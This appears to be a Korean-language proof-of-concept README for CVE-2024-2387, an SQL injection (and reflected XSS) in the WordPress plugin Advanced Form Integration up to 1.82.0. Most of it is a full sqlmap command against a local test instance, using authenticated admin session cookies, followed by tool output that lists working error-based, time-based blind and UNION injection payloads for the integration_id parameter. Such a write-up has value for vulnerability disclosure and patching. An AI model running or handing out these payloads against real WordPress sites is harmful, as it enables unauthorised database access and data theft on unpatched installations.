randomrobbiebf/cve-2024-2387Advanced Form Integration – WooCommerce 및 Contact Form 7을 Google Sheets 및 기타 플랫폼에 연결 <= 1.82.0 - integration_id를 통한 SQL 인젝션에서 반사형 크로스 사이트 스크립팅으로
Advanced Form Integration – WooCommerce 및 Contact Form 7을 Google Sheets와 기타 플랫폼에 연결 <= 1.82.0 - integration_id를 통한 SQL Injection 및 Reflected Cross-Site Scripting
Advanced Form Integration – WooCommerce 및 Contact Form 7을 Google Sheets와 기타 플랫폼에 연결하는 WordPress 플러그인은 버전 1.82.0까지의 모든 버전에서 'integration_id' 파라미터를 통해 SQL Injection에 취약합니다. 이는 사용자가 제공한 파라미터에 대한 이스케이핑이 충분하지 않고 기존 SQL 쿼리에 대한 준비가 부족하기 때문입니다. 이로 인해 인증되지 않은 공격자가 기존 쿼리에 추가 SQL 쿼리를 추가하고, 사용자가 링크를 클릭하는 등의 작업을 성공적으로 수행하도록 속일 경우 실행되는 페이지에 임의의 웹 스크립트를 주입할 수 있습니다.
python3 sqlmap.py -u 'http://kubernetes.docker.internal:8929/wp-admin/admin.php?page=advanced-form-integration-log&integration_id=1' --dbms='MySQL ' --cookie='wordpress_f0174336378e6db874da2237e8c05ac1=superadmin%7C1742982126%7CYDqu0KuYvfYzvp8sbRrxB7bBkXdnWS2Fujlrdf3Pq6L%7C24e6802d50c6cfdcd9d5b7a783d4ccdc2253f874df0e93b81bd451fffa276d99;wp-settings-1=product_cat_tab%3Dpop%26libraryContent%3Dbrowse;wp-settings-time-1=1739543461;wordpress_test_cookie=WP%20Cookie%20check;wordpress_logged_in_f0174336378e6db874da2237e8c05ac1=superadmin%7C1742982126%7CYDqu0KuYvfYzvp8sbRrxB7bBkXdnWS2Fujlrdf3Pq6L%7C872a73f2c03032a1dcfc8408a3c791356f4fc4156cc638ef2c8cf0665450d81f;tk_ai=woo%3AHJ877y%2BjNWutqlxgSuyOlVs2;woocommerce_items_in_cart=1;woocommerce_cart_hash=00dd4812a167442476e6e7ea663fc03e;wp_woocommerce_session_f0174336378e6db874da2237e8c05ac1=1%7C%7C1742982127%7C%7C1742978527%7C%7C8aad0f1007238f35b028cc89c058effd'
___
__H__
___ ___[(]_____ ___ ___ {1.9.3.3#dev}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 09:47:18 /2025-03-24/
[09:47:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: integration_id (GET)
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: page=advanced-form-integration-log&integration_id=1' AND GTID_SUBSET(CONCAT(0x7171767671,(SELECT (ELT(1048=1048,1))),0x7178706271),1048)-- PdXs
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=advanced-form-integration-log&integration_id=1' AND (SELECT 6770 FROM (SELECT(SLEEP(5)))CSQO)-- wZnA
Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: page=advanced-form-integration-log&integration_id=1' UNION ALL SELECT NULL,NULL,CONCAT(0x7171767671,0x4f6d77614e4b4f716f634e71714c6a435945444a6d76417544544c4459784c655054626e5841594a,0x7178706271),NULL,NULL,NULL,NULL#
---
[09:47:19] [INFO] testing MySQL
[09:47:19] [WARNING] reflective value(s) found and filtering out
[09:47:19] [INFO] confirming MySQL
[09:47:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 8.2.21, Apache 2.4.59
back-end DBMS: MySQL >= 8.0.0